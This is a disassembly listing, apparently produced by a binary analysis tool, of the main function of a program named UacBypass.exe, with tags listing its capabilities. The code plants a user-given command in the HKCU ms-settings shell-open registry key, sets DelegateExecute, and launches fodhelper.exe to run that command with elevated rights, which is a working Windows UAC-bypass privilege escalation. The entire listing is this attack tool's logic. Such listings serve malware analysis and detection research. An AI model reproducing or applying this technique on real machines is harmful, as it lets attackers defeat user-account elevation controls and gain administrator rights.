Function at 0x1400013c0
Capabilities:
Create process on windows
Get common file path
Persist via default file association registry key
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x240]
sub rsp, 0x340
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x230], rax
cmp ecx, 2
je 0x140001436
lea rcx, str.Usage:_UacBypass.exe__file.exe_or_command__n
call fcn.140001010
mov eax, 1
mov rcx, qword [rbp + 0x230]
xor rcx, rsp
call fcn.140001960
lea r11, [rsp + 0x340]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
mov r14, qword [rdx + 8]
xor ecx, ecx
call fcn.140009b98
mov ecx, eax
call fcn.1400070ec
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x38], rax
xor r15d, r15d
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SoftwareClassesms_settingsShellOpencommand
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x14000149a
lea rcx, str.Reg_key_creation_failed._n
jmp 0x140001400
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov rbx, 0xffffffffffffffff
inc rbx
cmp word [r14 + rbx*2], r15w
jne 0x1400014b2
movabs rsi, 0x7ffffffffffffffe
cmp rbx, rsi
ja 0x1400017d6
cmp rbx, 7
ja 0x140001501
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], 7
add rbx, rbx
mov r8, rbx
mov rdx, r14
lea rcx, [rsp + 0x50]
call fcn.1400170d0
mov word [rsp + rbx + 0x50], r15w
jmp 0x1400015ad
mov rax, rbx
or rax, 7
cmp rax, rsi
jbe 0x140001550
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
cmp rcx, 0x1000
jb 0x140001580
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400017d0
mov rcx, rax
call fcn.140001980
test rax, rax
je 0x1400017ca
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001588
mov rsi, rax
mov ecx, 0xa
cmp rax, rcx
cmovb rsi, rcx
lea rcx, [rsi + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x1400017d0
add rcx, rcx
jne 0x14000151b
mov rdi, r15
jmp 0x140001588
call fcn.140001980
mov rdi, rax
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rsi
add rbx, rbx
mov r8, rbx
mov rdx, r14
mov rcx, rdi
call fcn.1400170d0
mov word [rbx + rdi], r15w
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 8]
call fcn.140001230
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x1400015fe
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400015f9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400017ca
call fcn.1400019bc
lea rcx, [rbp - 8]
cmp qword [rbp + 0x10], 7
cmova rcx, qword [rbp - 8]
mov eax, dword [rbp + 8]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov ebx, 1
mov r9d, ebx
xor r8d, r8d
lea rdi, [0x1400207a0]
mov rdx, rdi
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x14000165f
lea rcx, str.Failed_to_set_encrypted_reg_value._n
call fcn.140001010
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140001787
mov dword [rsp + 0x28], 2
mov qword [rsp + 0x20], rdi
mov r9d, ebx
xor r8d, r8d
lea rdx, str.exec
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x1400016a4
lea rcx, str.Failed_to_set_DelegateExecute._n
call fcn.140001010
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140001787
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.1400070c0
mov ecx, eax
mov eax, 0x10624dd3
imul ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7d0
sub ecx, eax
add ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp - 0x80], 0x70
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x7c], xmm0
movups xmmword [rbp - 0x6c], xmm0
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
mov qword [rbp - 0x1c], rax
mov dword [rbp - 0x14], eax
mov edx, 0x104
lea rcx, [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea r8, str._fodhelper.exe
mov edx, 0x104
lea rcx, [rbp + 0x20]
call fcn.140009b20
lea rax, str.runas
mov qword [rbp - 0x70], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x68], rax
mov qword [rbp - 0x78], r15
mov dword [rbp - 0x50], ebx
lea rcx, [rbp - 0x80]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x140001778
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x4c7
jne 0x140001768
lea rcx, str.User_cancelled_elevation._n
jmp 0x14000177f
mov edx, eax
lea rcx, str.Execution_failed__Error_code:__ld_n
call fcn.140001010
jmp 0x140001784
lea rcx, str.Execution_initiated._n
call fcn.140001010
mov ebx, r15d
mov rdx, qword [rbp + 0x10]
cmp rdx, 7
jbe 0x1400017c3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400017be
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400017ca
call fcn.1400019bc
mov eax, ebx
jmp 0x14000140a
call fcn.140009fb0
int3
call fcn.140001170
int3
call fcn.140001210
int3